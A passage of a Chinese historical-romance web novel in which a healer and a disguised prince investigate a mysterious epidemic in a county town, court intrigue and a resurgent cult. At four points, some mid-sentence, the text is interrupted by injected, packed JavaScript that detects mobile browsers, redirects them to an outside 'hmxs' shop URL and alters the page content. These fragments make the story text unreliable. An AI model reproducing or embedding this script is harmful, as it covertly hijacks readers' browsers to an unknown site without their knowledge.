她“啧”了一声,又开始喋喋不休起来:“县里早就传开了,怎的就你没听说!自打花神会结束起,就有不少乡亲发起高热,这些天里已经陆陆续续死了好些人了!我那孙女甜果卧床不起也已有好些天……唉……真不知是作了什么孽!” 说着,她抬手抹了把泪。 “送福童子,老身明白……你们这些郎中其实也不愿沾染同疫病有关的事,可我那孙女不过七岁……老身实在不忍……” 宋福虽是好脾气,可也容不得旁人对医家有这般误解,没等她说完就忍不住插嘴道:“钱媪,您这是说的什么话!哪有医者眼见疫病横行却只顾保全己身的呢?” “嗬……”钱惠姑轻嗤一声,“那南山堂的林老先生自花朝节起便再没露过面,一直假托生病不肯出诊,就连田县令差人去都没能请得动!哼!他在弋陵又不是一天两天,这么些年里从没害过病,怎的县里一出事,他就出不得门了?还不是躲着呢!” 宋福脱口而出:“您这话说的……人又不是铁打的,哪有从来不害病的……”话一出口,他就意识到这说法似乎不大得体,只好又拐过话头继续道:“林老先生那既不方便,您找别家医馆便是,咱县里不还有那么些郎中呢?” 宁州虽不似越州那般富庶,可也总不至于缺医少药吧! 提起这茬,钱惠姑的面色竟更显灰白,她唉声叹气一番,又道:“其他医馆倒是有人接诊,可他们对这疫病全都没辙,不少乡亲见着这般情况都只好去寻了旁的法子……” “旁的法子?莫不是……”宋福瞪大眼睛。 因地处海西,弋陵的民间风俗没少受南境土著的影响,在前朝时期甚至一度达到家家供奉“福莲圣母”的地步。 后来新朝建立,为收拢对南部地区的控制,朝廷便有意识地对民众思想进行了引导。 特别是在建兴帝登基之后,因忧心南北信仰差异会酿成灾祸,更是下足力气在民间进行过一番整顿,凡不以北境所奉天帝为至高神的,统统都会被视为异端,除彼时南部海域之中那座尚未归降的碧璆岛外,大梁境内的圣母神庙几乎是一夜之间被全数毁尽。 而随着二十五年前碧璆岛内那场关于最高权力的抢夺中,土著首领的意外胜利和所谓“圣女”的落败身死,这股子邪.教势力总算是偃旗息鼓,除却五年前在天枢发起水患时,曾出现过个别歹人试图借“圣母”之名破坏安定外,大梁全境再也难以寻其踪迹。 只是如今教首虽已身亡,“圣母”二字亦不敢在人前提起,可百姓们的思想却恐难及时扭转。 于是,每逢灾荒疫病,在无助之时寻巫女跳神也就成为民间无人敢说却未必不会去做的事。 钱惠姑见宋福像是已猜到实情,便继续道:“老身不信那些野路子,可眼下也实在是没有别的主意,若江娘子真的不肯帮忙,恐怕老身也只能……白发人送黑发人……” 说罢,她又抹着眼泪呜咽起来。 “钱媪,您先别着急!之前您说小甜果中了招,可您不是还好好的?这就说明它呀,未必真是疫病,没准只是寻常的头疼脑热,莫要这般自己吓自己啊……” 宋福怕她一旦哭嚎就没个尽头,闹得鸡飞狗跳不说,还会白白耽误治疗时机,只得如此安抚着,试图让她平心静气地寻找解决之道。 可这话听在钱惠姑的耳里,却像是另一个意思。 “嚯!送福童子,你这是不信老身的话么?” 她猛一跺脚,厉声叫嚷起来。 “花朝节那日,我家甜果同邻人一道去花神庙里玩耍回来就起了高热,如今那邻人……全家都……都去了……这般骇人还不是疫病?莫非你们这些个医馆郎中当真都是跟衙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16923020|192645||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 门老爷一条心,想合起伙来把这事情捂下去?好哇!就因为他们怕耽搁靠花神会邀功,影响头顶上的乌纱帽,便这般不把乡亲们的性命当回事?” 宋福被她吼得脑袋“嗡嗡”乱响,但钱惠姑却是头脑清晰、手脚敏捷,趁他愣神的当口狠推一把,紧接着便朝归元堂的内院小跑而去。 少年药僮被猛然推搡,身形一时不稳,打了个趔趄,待再上前去拦住人时,钱惠姑已走到连通内外院的月亮门下。 “东家!东家!有疫病了!” 宋福唯恐此人所言非虚,眼下闯进内院再将病气给那两人过了去,只好一路高喊以作警示,动静之大,怕是隔着两个归元堂也能听得清清楚楚。 江楚禾果真立时警觉起来,她大步迈出厨房,手举长筷有如令签,朝着不远处正相互拉扯着的两人大喝道:“你俩先站那别动,我这就过去!” 钱惠姑还从未见过她这般疾言厉色的模样,当下就被镇住,果然乖乖地站定,但心底的焦虑不安却仍是分毫不减,她扬起脖颈朝院内瞧着,却是半天都没瞅见江楚禾的身影,只好在原地又踱着步子。 江楚禾倒并非有意拖延,只是家中毕竟还有一位身中奇毒且见不得人的病患,眼下又撞上这档子事,自然要多交代几句。 她将司徒靖往厨房里边推了推,压低声音道:“我去看看什么情况,你今日先别出内院,有什么事等我回来再说。” “可是……” 司徒靖才刚张口,就被她温言阻止。 “我知道此前已答应过你近日不再出门,专心为你解毒……可……若城中当真出现疫病,你我便是足不出户恐怕也只能苟活一时,倒不如我先去看看有什么能帮上的忙,顺便求证一下所谓‘疫病’传言的真伪,好歹求个心安。” “若疫病是真,你当如何?” 这虽是问句,但司徒靖已想象得到她会给出怎样的回答。 “如果真有疫病,那两年前如何,今日便如何。” 果然。 “你还真是一点儿没变。”司徒靖苦笑着看她离开。 在过去的五年里,他曾幻想过千百种与她共同生活的情景,可绝没料到自己会如此黏人。 罢了,还是病患要紧。 他叹了口气,决定做些江楚禾最喜欢的吃食打发时间,也好让她回来后能尽早用膳。 于是,当南樟收到急召赶来归元堂,顺着葱郁的绿植摸到月亮门下时,一眼就瞅见自家那身世显赫的主子正端坐在医馆内院的石桌旁…… 择菜? 他险些被眼前景象惊掉下巴,一时竟有些不敢上前,可对方却早已察觉他身在此处。 “南樟?站着别动,我过去寻你。”司徒靖掸了掸衣袍上的灰尘,大步流星地走到南樟面前。 一路疾行并未消减他的半分雍容,可指间的半截葱绿还是令此情此景显得格外荒唐。 南樟忍不住抽了抽嘴角,在猛掐两把大腿后总算是勉强止住笑意,这才规规矩矩地见礼,道:“殿下。” 36. 皎月 即便是没有收到急召,南樟原本也计划来此处一趟,只是还未等他详细禀报近日见闻,司徒靖就如未卜先知般问起他正打算提及的事:“我且问你,城中的疫病是怎么回事?” 南樟双目圆瞪。 虽说他早知自家殿下有些神通,可是这也太灵了! “说。”司徒靖看这反应便知南樟对此事定有几分了解,他神色不动、语气如常,一贯惜字如金地表达着催促之意。 南樟伴其身侧已有十余年,对司徒靖的脾性自是清楚。 此人勤勉非常,却从不做无用之举,更不会有毫无意义的情绪流露,这区区单字的吩咐已说明他十分在意此事,身为下属应当赶紧将所探得的消息悉数告知。 如此想着,南樟起身将手中的雌雄双刀归回背后,清了清嗓子便绘声绘色地描述起来,其细节详实、语言生动,足以令任何听众如痴如醉,可司徒靖的面色却愈发凝重。 他一贯从容自若,少有形于言色之时,可在南樟说起县中病患的初期症状时仍不免惊心,下意识地蹙起眉头,向对方确认道:“低热不褪,四肢酸软?” 南樟点头,“回禀殿下,正是如此。据属下调查,此病甚为古怪,在患病初时的症状与寻常风寒几乎无异,但待病发三日左右便会肢体痿软、行动不利,目前已有不少百姓疑似因此病亡,据称死状可怖,但属下还未亲眼见过,故而不敢妄言。” “那……据你所知,患者在病发三日后均会恶化么?” 不同疾病的症状相似本不算稀奇,但此事发生的时间节点委实巧合了些,司徒靖不免多想。 南樟却不知他此问之中隐含的深意,只照实答道:“回殿下,属下所见之人皆是在持续低烧三日内即开始肢体拘挛,但据说县里已经有人在病发数日后痊愈……” “痊愈?” “是的,据说有少数人已然病愈,症状全无,观之与常人无异。” 不料司徒靖在听得此等“喜讯”后竟更显忧心忡忡。 “那些人……是如何治愈的?” 南樟闻之一愣,自家殿下是读了几卷江九娘子留下的书简没错,可也不至于在这儿当上赤脚郎中吧? 可他怎么看上去好认真好正经的样子,好像真的很想知道这病要如何治疗。 啊,不对!自家殿下好像从来都是这么认真且正经的样子…… “南樟。”认真又正经的司徒靖忍不住给自家影卫正四处游走的思绪收了收绳。 南樟赶忙回神,恭顺道:“回禀殿下,属下尚且不知……” 他抬起眼皮瞧着司徒靖的面色,可那人仍旧是一贯的古井无波,只在沉默片刻后轻轻瞟了他一眼。 南樟立即从对方眼神中接到指示:“属下明白,这就前往查探。” “慢着。” 啊? 南樟默默收回已迈出半步的腿。 “日前让你调查那人,有何眉目?” 意识到他说的是谁,南樟紧张地吞咽了一下,但对上自家主子的犀利目光,还是不敢有所隐瞒,只能硬着头皮将所得消息和盘托出。 “回禀殿下,那日纠缠王……呃……江九娘子的是本地豪绅黄季的妻侄陈崇,陈伯阳。此人出身凌霄陈氏,孩提时期即因其父早逝、寡母改嫁而被黄季之妻陈夫人带在身边抚养,也正是因此才未在三王之乱中受到株连。平日里多好杂学、不通经史,如今已有二十二岁,还只是县学里的一个童生,长相也平庸至极,殿下与他判若云泥……” 所以您真不必将此人放在眼里! 但司徒靖看上去却并不是如此乐观,他低垂着眼眸,瞧着平静得很,可张口问出的就是个要命的问题:“便是他托那钱姓老妇做媒,想求娶江九娘子?” “是……”南樟小声确认,而后又急不可耐地补充道:“但江九娘子并未应允,她那日与此人交涉许久,就是为了让其断了念想。” 所以啊,我敬爱的殿下,她心里真的有您! 司徒靖微微颔首,想的却是另一回事—— 相貌平平、性情恶劣、屡试不第,如此废物,的确配不上她。 他在心中将此人审视一番后,得出了如上结论,随后又觉得自己这没来由的妒意实在是有些可笑,只好假意咳嗽一声,继续问道:“黄季邀请江九娘子前去赴宴,也是因为此人?” “不是!”南樟答得十分利落。 毕竟那晚两人在交谈中已说得很清楚,陈崇甚至还口出狂言称江九娘子是想接近他才专程赴宴,简直是老孔雀开屏,自作多情得很! 但是,南樟可不敢将那厮的痴人狂语说给自家殿下听。 他犹豫片刻,只能含含糊糊地解释道:“属下观此人当晚言行,像是对江九娘子赴宴一事颇感……呃……意外,应当是并不知情,邀约一事许是陈夫人做的主罢。” 司徒靖略一抬眉。 “我倒没想过陈氏会这般热心。”先前的线报不都说她骄矜无礼来着? 提起这茬,南樟可是有满腹的坊间流言想要分享,他有些怪声怪气地道:“嚯!说起那陈夫人,好家伙,那心眼儿可真是多!谁知是不是瞧出江九娘子的身份非同寻常,又在打什么歪主意!属下还听说她正四处探问付巡按的好恶呢!” “付子攸?”司徒靖有些意外。 本朝的监察制度格外严明,对御史之职的要求也颇为苛刻,在寻常人看来最为重要的身正性直、殚见洽闻都只是这一职位最基础的门槛,而真正起决定性作用的则是他们的“忠”与“独”,也正是出于这个原因,朝中担任此职的几乎均是祖上毫无根基,全靠科举入仕的平民子弟。 除了付昂,付子攸。 此人虽是付氏子弟,却因其母身份特殊而始终游离于家族利益分配之外,待及冠后仍迟迟未得门荫推举,全凭真才实学于科举之途杀出重围,以二甲成绩顺利入仕。 他空有高门之姓,却在朝中并无党羽,富贵荣辱皆系于帝王一人之心,且自幼担任皇子伴读,几乎是在建兴帝的眼皮下长大,自然也比旁人多得几分喜爱与信任,因而很快就被陛下钦点成为监察御史,而他也在履职期间用自己的“忠”、“独”、“正”、“直”回报了如此圣恩。 这般刚正守节、不交朋党的皎皎君子,便是探得其爱憎好恶,又能借他捞到什么好处? 南樟看出自家主子似有疑问,赶忙凑到近前,将憋闷许久的流言是非一股脑地倾倒而出。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16923021|192645||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “殿下,属下听说那陈夫人始终对陈氏没落耿耿于怀,但一直苦于没有重回士族阶级的机会,眼下其女正值及笄之年,付巡按又未曾婚配,若是两人成事,那黄娘子便是高门新妇,连带她这个做母亲的,脸上也能添光不少!更何况……付巡按再不受祖荫那毕竟也是姓付,还是天子近臣,她恐怕觉得待婚事敲定,将来若是想借这层关系搞些旁的名堂,也未必不可!” 原来如此。 司徒靖听后仍面不改色,声线却愈发冰冷,“盯紧黄家,看看陈氏姑侄究竟有何图谋。” * 陈德音的眼皮子已经蹦跶一早上了。 她按着自己的印堂,将目光从桌上的琴囊移开,又看向门前空荡荡的小路。 见主子这般神色,池玫立即会意,赶忙催起一旁的小丫鬟:“娘子是还在梳妆吗?你们几个快去帮衬下,手脚都麻利一点!” 待几人离开,她又安抚陈德音道:“夫人莫怪,娘子院里这些丫头还是手太生,干活不利落,这才误了时辰……” “哼。”陈德音将桌上杯盏重重一放,蹙眉怒斥:“玫儿,你莫不是拿我当傻子?” “老奴……老奴不敢……”池玫慌忙跪下。 陈德音眉间的怒意却丝毫不减。 虽说黄舒窈是长在田庄,但她自问对女儿的教育一向尽心,从来都是以高门千金的标准来严格要求,谁知长在乡野到底不行,刚归家时还假模假式地装过几天,近日里却愈发任性,晨昏定省拒不露面,就连用膳也开始各吃各的,今日更是将她这个做母亲的晾在此处许久。 这般失了教养,将来该如何嫁入世家,又怎堪主母之位? 陈德音越想越气,颤抖的双手已然捏握成拳,看样子随时都会端起桌上的古琴掷出去。 池玫见状忙跪行几步,按住陈夫人的手臂,“夫人息怒!那可是您寻了许久才收来的名琴啊!” 自打相中付昂这位出身名门的青年才俊起,陈德音就一直在托人打探他的喜好,在得知此人尤喜琴艺之后,便计划差人斫一张好琴赠予黄舒窈,让她赶紧操练起来。 可谁知斫琴竟是件出奇繁琐的功夫,她辗转打听了好几个出名的师傅,结果个个都说要起码一年才能完工,这哪里等得起? 于是,她只好托人寻到这张据说是由著名斫琴师打造,又经京中琴艺行首几番易手才流传下来的名家故器。 此琴是经典的伏羲式,承露圆角,岳山相宜,圆润的琴头搭配琴颈与琴腰处流畅的弧度,有如美人玉立,妩媚而不失端庄。 琴体以杉木制成,漆色光亮,温润厚重,但边沿处却是棱角分明,颇具古朴之感,琴身通体未见纹饰,只在琴底颈部刻着“皎月”二字,清冷淡然,好似清晖遍地。 月出皎兮,佼人僚兮。 恰如她的女儿,皎若明月、晔兮如华,自当高悬在九霄之上、盛放于崇山之巅,怎能在红尘中与凡俗之辈苦苦苟且? 绝不可如此骄纵着她,到时再像自家那不成器的侄子一般沦落到尘埃里去! 想到此处,陈德音立即起身,大步走了出去。 “玫儿,走!去她屋里瞧瞧!我倒要看看她是在忙些什么,竟连门都出不得了!” 37. 凶讯(上) 待江楚禾回到归元堂时,已经是午后时分。 她脚步匆匆,眉头紧锁,心中一团乱麻。 此番出诊,她不仅看过甜果,还顺道去附近有类似症状的人家一一走访,患者情况与钱媪所说相差不大,皆是四肢发软,瘫卧在床,且有不少人已经出现肌肉萎缩的征兆,眼看就要朝着“干尸”的路子发展下去。 但唯有一点,钱媪说得不太确切,那便是“高热”。 据她今日所见,病患初期是发高热不假,但很快便会转为低烧,且久久不褪。 说起来,竟与那人在月圆之夜时毒发的症状颇为相似。 想到这里,江楚禾猛然止步,强迫自己静下心来整理头绪。 正在此时,内院中也传来一阵脚步声,熟悉的低哑嗓音打断她的思考。 “江九娘子?是你么?” 江楚禾唯恐将病气传给他,心下一急,张口便喊:“你别出来!” 司徒靖不明所以,只得应声站定,高大的身影一如往日那般挺拔如松。 她隔着月亮门旁的镂空砖墙向内看去,默默思忖:按照钱媪所述,甜果发热不到两日症状便突然恶化,浑身酸软无力,以至卧床不起。 适才见他行动自如,应当并未中招吧…… 江楚禾强迫自己乐观作想,却仍然不能放心,“晏安,你今日感觉如何?可有什么不舒服?” “我并无不适。外面情况如何?” “先不提那个。”她将手从墙壁上的镂空雕花伸出去,“拿来!” 司徒靖立即会意,乖乖将腕脉送向她的指尖。 如她所料,此人脉象稳健有力,与甜果大不相同,想来诸多相似症状应当都是巧合。 但是,眼下他体内残毒未清,绝不可再沾染半分外邪。 “晏安。”江楚禾语气郑重,“你脉象尚稳,但仍需静养,近日莫要踏出此门。” 她有意稳住声线,但那份紧绷仍然没有逃过司徒靖的双眼。 “那你呢?”他问:“可是钱媪所言非虚,城中真有疫病?” “现在还不知道。”江楚禾揉揉有些发胀的太阳穴,神色难掩疲惫:“方才我去钱媪家里看过她的孙女,也顺路瞧过别的病患,此症甚是诡异,且暂无医治之方。虽说我目前并不能肯定此病的确易于相染,但县里患者不少,大多都是举家患病,慎重起见还是以避其毒气为上。我与宋福这些天先住在前边儿的病舍里,万一我们已然沾染病气,也不至于连累你。” 连累。 这两个字狠狠击中了司徒靖的心,他下意识攥紧双拳,就连眉峰也隐隐蹙起。 不过江楚禾现在没那个心思,便也未曾察觉到他的失落。 她自顾自继续道:“总之,近几日你就先在内院儿好生呆着,汤药我会让阿福按时放在此处,至于餐食……” “我会做好,放在门下。”司徒靖难得插话。 “这……” “稍后我便将今日的午膳送来。”司徒靖又补充道,“我做了汤饼。” “那……有劳……” 直到此时,江楚禾才突然意识到,自己竟对他的悉心照顾已经如此习以为常。 这个发现让她有些意外,但是很快,内心的波澜又被另一桩要紧事给覆盖了过去:“对了!我屋里有本手抄的小册子,还得劳烦你帮我寻来,留在这月洞下就好,等会儿我一并取走。” 司徒靖沉默一瞬,似乎想说些什么,但在犹豫片刻后却只是问:“此书,现在何处?” “呃……”这倒真是把江楚禾问住了。 她除能隐约想起自己昨晚睡前正读到此书的《蛊物篇》外,对它之后被收在哪里可说是记忆全无。 不过按她平日里的习惯,应该随手就…… “可能……在……我……床上?”江楚禾大胆提议,“你到处翻翻,肯定在那儿附近!” “……”司徒靖顿觉无语。 外男进女子闺房已算得上不成体统,更遑论还要在她床榻上四处翻找…… 但江楚禾的面颊虽有些泛红,神色却一如往常,不见丝毫赧然。 这般全不设防的姿态,让司徒靖心下生出几分快意,更何况寻书是为治疫,他自当配合,因此虽有顾虑,他还是欣然答允。 推开房门,一股淡淡的药草香味混合着她身上特有的气息扑面而来。 与他屋里的整齐规整截然不同,江楚禾的房间处处都透着生活痕迹,案几上歪七扭八地堆着书籍,一旁的小碟里还有残余的饼渣,架子里的瓶瓶罐罐错落排列,上面还随意搭着一件薄软的寝衣。 此情此景,让司徒靖的耳根有些微微发热,他赶忙挪开视线,将目光投向床榻。 正如江楚禾所说的那样,书卷就摆在她的枕边,似是此间主人昨晚看到倦极,随手一放便沉入梦乡。 司徒靖快走几步,本欲将书卷取走,两眼却不经意间掠过旁边,一件粉嫩的贴身小衣闯入视线,娇艳的浅桃夭色大喇喇地躺在素白床褥之上,显得格外夺目。 他自龆龀之年便奉皇命在观云山守陵修道、侍奉神明,持戒与寻常道人无二,何曾受过这种刺激? 更何况,那物件的主人还是她! 白净的俊脸“腾”地涨红起来,心跳声也“噗通噗通”不断鼓噪着,司徒靖深吸一口气,以极快的速度出手将那册书卷捞起,转身便准备逃离此处。 可就在这时,窗外突然传来一阵规律的声响。 “笃笃。” “笃。” “笃笃笃笃。” 那声音极其细微,混合在风吹树叶的“沙沙”声中,并不引人注意,但以他的耳力却能听得清清楚楚。 正是他与南樟约定的暗号。 司徒靖大步上前,打开窗户朝外看去,果然瞧见自家影卫正倒悬着半个身子趴在西侧主屋的房顶,鬼鬼祟祟地叩击着木窗的边沿。 听见开窗的动静,南樟扭头看去,惯常挂在脸上的笑意顿时僵住。 好家伙!自家那位清冷自持、不近女色的齐王殿下,居然在江九娘子的闺房里! 南樟至今都记得五年前司徒靖带着一身重伤从战场回来,却得知心上人已然逃婚离京时吐出的那半缸黑血,更记得殿下强撑病体去天枢完成七七四十九日的罗天大醮后,命人在万人冢上种下的桃林,以及独自一人在林中彻夜诵经的那个阴雨连绵的夏季。 莫非这就是传说中的…… 守得云开见月明? 即将脱口而出的调侃就在舌尖打转,可当他对上司徒靖幽深的眼眸之后,又猛地一激灵,南樟赶忙拧了把自己的大腿,将嘴边的废话生生憋回,这才稳住表情,飞身一跃,无声无息地落在东侧的主屋窗下。 然后便听到“砰”地一声。 是司徒靖干脆利落地阖上了窗。 “……” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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若此番封禅只是为了昭示君权,那还不至于惹得朝中人心惶惶,但如今的中枢近臣们都很清楚,建兴帝之所以急于前往灵山,是另有一件要事需卜问天意。 易储。 司徒靖明白,灵山祭坛既已完工,那便就等着拜月节时问道上苍了,届时只要建兴帝心念不移,东宫之变恐成定数。 但他面上并未显露一丝忧虑之情,只淡淡问道:“先生是如何说的?” 司徒靖口中的“先生”即大梁国师知衍真人,亦是亲手将他领进道门的师父,祝韬。 知衍真人年少成名,自幼便以聪敏慧悟闻达于世,三岁能诵经,七岁晓阴阳,在成年后更是游历天下、遍习秘术,精堪舆卜筮之道,通生死术数之学,乃是元嘉帝亲授的“国师”。 自先帝宾天之后,他跟在建兴帝这位颇有些独断的君主身边近三十年亦从未行差踏错,堪称朝中众臣行事的最佳范本。 这样厉害的角色,南樟自然不会忘记打听此人的立场。 只是估摸不是什么好消息,他舔了舔有些发干的嘴皮子,磨蹭半天就是不肯回答。 “但说无妨。” 见自家殿下如此发话,南樟只好将心一横,把国师所批谶语逐字复述出来:“国师他说……‘龙战于野,其血玄黄;恐兄弟阋墙,溅血禁中。’” 末了还很有出息地补充一句:“这是原话,属下不敢有一字改动。” 司徒靖眉心一跳,放在膝头的双手骤然攥紧,泛白的骨节发出声声脆响。 38. 凶讯(下) 兄弟阋墙,溅血禁中。 这是多么直白的警告。 司徒靖合上双目,兄长那副永远温和而又战战兢兢的笑脸在他眼前一闪而过,但是很快就被三弟司徒竑的狰狞面孔遮盖得严严实实。 “喀拉。” 骨节发出的脆响在安静的屋内显得格外清晰,南樟低头看去,只见对方紧握的双拳已然是青筋毕现。 他担忧地低唤出声:“齐王殿下……” 这四个字犹如一盆冷水兜头浇下,司徒靖立即清醒过来,再睁眼时,眸中寒潭已一如往昔。 “无事。你继续。”他缓缓松开双手,重新搭回自己的膝头。 见他恢复常态,南樟心下稍安,遂又回归本性,嘀嘀咕咕地抱怨起来:“国师真是的……做甚说得这么严重,现在传出这种话,人不都得觉得太子殿下是保不住了,谁还敢站在东宫那边?而且之前太子殿下那档子事,他不肯帮忙也就罢了,还当众驳您的面子!我看啊……恐怕他就是见风使舵,早已经被燕王那边……” “南樟。”司徒靖打断道,“若无实证,不可妄加揣测。” 他的声音很低,语气淡淡,却带着不容置疑的威严。 南樟立即止住话头,垂首认错:“是,属下失言。” 话虽如此,但祝韬近日行径可疑也确是实情。 司徒靖想起数月前太子因巫蛊之案被禁足东宫,他心急如焚,曾暗中传信恳请先生在父皇面前代为转圜,不想等来的却是国师在御前的“秉公直言”,称他“妄议朝政,意图干涉储位”。 先是袖手旁观,继而公然割席,如今又传出这讣告般的谶语…… 知衍真人,你究竟意欲何为? 是眼看皇储之位更迭在即,选择了看似势大的燕王,还是…… 另有谋算? 司徒靖眉头紧蹙,沉默半晌仍难下决断。 未几,他道:“罢了。此事我已知晓,你还是说说城中的疫病吧。弋陵县衙多是蠢材,恐怕阵脚已乱。” “哎哟!可不是!”南樟一听,连连点头,“弋陵县令田庸是个老油子,一见苗头不对就开始称病不出,那县尉刘亢也是废物,成天正事不做一件,就知道搁那儿求神拜佛,倒是县丞屠牧捐了些金银,患病百姓起码不缺药吃。” 如此情状倒是不出所料。 “那如今是何人主事?” 司徒靖按着眉心,有些担忧官府无人治疫,贻误时机。 南樟猜中他的心思,赶忙宽慰:“殿下莫急!付巡按今早刚到弋陵,听闻城中似有疫病后便亲自督办,相关事宜皆由宁州刺史陶子昇直接管辖,必不会懈怠!不过……” “不过什么?” 南樟瞪大眼睛,却将声音又压低了些,“殿下,您不觉得古怪吗?往常御史巡按到此怎么都得三月末了吧!这回咋二月底不到,人就来了?” 司徒靖摇头。 上月江楚禾身陷囹圄之时,他是做了两手准备的。 其一,是以陶晋的私情相要挟,迫使其向田庸施压,以保证弋陵县衙能公正审理此案;其二,是向兴京那边去信,催促付昂这位海西道巡按御史提早南下,以防此案若在宁州这个关节出现变故,到时可借御史巡查之机重审冤案,还江楚禾清白。 算算日子,确实也差不多。 只是南樟不知这些内情,权当自家殿下这是君子之心,不知设防。 “殿下!”他有些着急,连声音都不自觉地抬高了些,又在司徒靖的警示眼神中降下调子,压低嗓门道:“陶使君虽是寒门出身,可他毕竟是王将军的女婿,又是杜右丞尚在工部时一手提拔的得意门生。杜右丞虽然持身中正、从不结党,但他曾是江相公的门下故吏,这么算来俩人儿都是世家旧党的一份子,若摊上什么事儿,寒门新党必会借机大做文章,将陶使君参下去!属下听说宁州盐铁资源丰富,似有颇多油水,韩左丞的内弟可盯上这刺史之位已有好久了……” 他所说的“韩左丞”,便是燕王司徒竑的舅父,尚书左丞韩闯。 建兴帝曾对朝中官制进行过一系列的改革,下旨取消尚书省原本的长官“尚书令”,改为由“尚书左仆射”与“尚书右仆射”共同执掌事务,二者相互制衡,同时又在仆射之下设左右两丞,协助仆射分理公务,以达到限制相权的目的。 而在五年前江楚禾的祖父江钺入狱后不久,尚书右仆射付旻便称病致仕,之后尚书左右仆射皆不再补任。 自此,韩闯这位尚书左丞便成为尚书省实际上的一把手,在朝中势力越发壮大,俨然已是寒门领袖一般的存在,素日里就没少挤兑世家旧党,而建兴帝本就是为制衡世家特意扶持新党,自然也是乐见其成,以至于韩党越发有些无法无天,有党同伐异、营私牟利之举也并不奇怪。 故而,司徒靖只是淡淡问道:“这同付子攸有何关系?” “哎呀,殿下!他可是御史,笔杆子在他手里呢!” 御史台在名义上虽是为监察百官而设,但在维护纲纪之余却也没少行营党谋私之事,只不过,借此制衡各方势力本就是建兴帝创立“台谏”制度的初衷之一,自然也就默许了他们成为朋党斗争中的棋子。 此事在朝中早就不是秘密,南樟自然也就顺着既有思路“恶意”揣测起来。 “殿下您想,如今是韩党想拿陶使君的把柄,碰巧宁州就出了疫病,哎……又赶巧付巡按也提早南下,还这般积极,怎么看都是要帮着韩党,借这所谓疫病大做文章的样子!您就说,有没有道理!” 南樟自信满满地看向自家殿下,不想却对上一双毫无赞许之意的眼睛。 他忙又道:“哎呀,殿下,我知道您的意思!您定是想说‘子攸向来行事公正、不交朋党,切不可无端猜忌。’但他四兄毕竟是燕王的岳丈,付家情况复杂是不假,兄弟失和也是真,可若是涉及整个儿家族的利益,他们恐怕还是会一致对外的。殿下……不能不防啊……” “你倒是有心。” “嘿嘿,是吧……”南樟笑嘻嘻地挠着头,“要不,属下盯着点儿?” “不急。方才你说‘所谓疫病’是何用意?” 疫病便是疫病,“所谓疫病”听着倒像是在暗指此事另有玄机。 而这正是南樟准备禀报的最后一件事。 “殿下您今早儿不是问起痊愈之人所用的医治手段来着?属下打探了,好家伙,真邪门儿了……” “说重点。”司徒靖用指节轻叩桌面。 “噢噢,他们是请了巫女。” “巫女?” “是啊!”南樟一拍大腿,又道:“属下挨家探过,凡是患病后又痊愈的,无一例外,都请过巫女上门!” 司徒靖听后眉头稍稍一紧,但不过眨眼的工夫就又恢复了平日的神色。 南樟没有多想,自顾自地继续下去:“而且他们都说巫女作法后不出三、两天人就能下地走路,跟没患过病一个样儿,倒是请郎中的那几家都没救回来,您说邪不邪门儿吧!当然……也可能这穷乡僻壤的净是些个庸医……” 眼看面前正垂眸思考的人慢慢抬起了眼皮,南樟倒吸一口冷气。 “啊!殿下息怒……属……属下不是……那啥……王妃跟其他郎中肯定不一样嘛!” 话音未落,他又想起自己当年一时嘴快提起这个称呼后,自家殿下那副堪称失魂落魄的神情,慌忙改口道:“那个,我是说……江九娘子……” 他这么说着,又偷眼去瞧司徒靖,不想后者眼中居然多出了一丝浅淡笑意。 难道说…… 他喜上眉梢,正要张口,就听到司徒靖又发话道:“心思放在正事上。” 好吧。 属下明白,属下闭嘴。 南樟扁扁嘴,将脑袋低下去。 幸好司徒靖没有计较,而是继续问起正事:“所以,你是觉得此病有疑?” 提起这茬,南樟又来了精神:“可不是!您就说吧,如今哪儿还有跳神治病的?” 明摆着就是装神弄鬼! “而且……属下探查时有个老头儿说漏了嘴,他们管那些个巫女叫‘圣使’!” 听闻此言后,司徒靖的面色又凝重起来。 旁人不知,但他却很清楚,这个“圣使”是福莲教对教职人员的称呼。 所谓“福莲教”, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16923023|192645||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是六、七年前在越州南部悄然出现的一个民间结社,表面崇奉天帝,暗中供奉的却是自南境海域碧璆岛传来的福莲圣母,短短数年就在宁、越两州吸纳到不少信众。 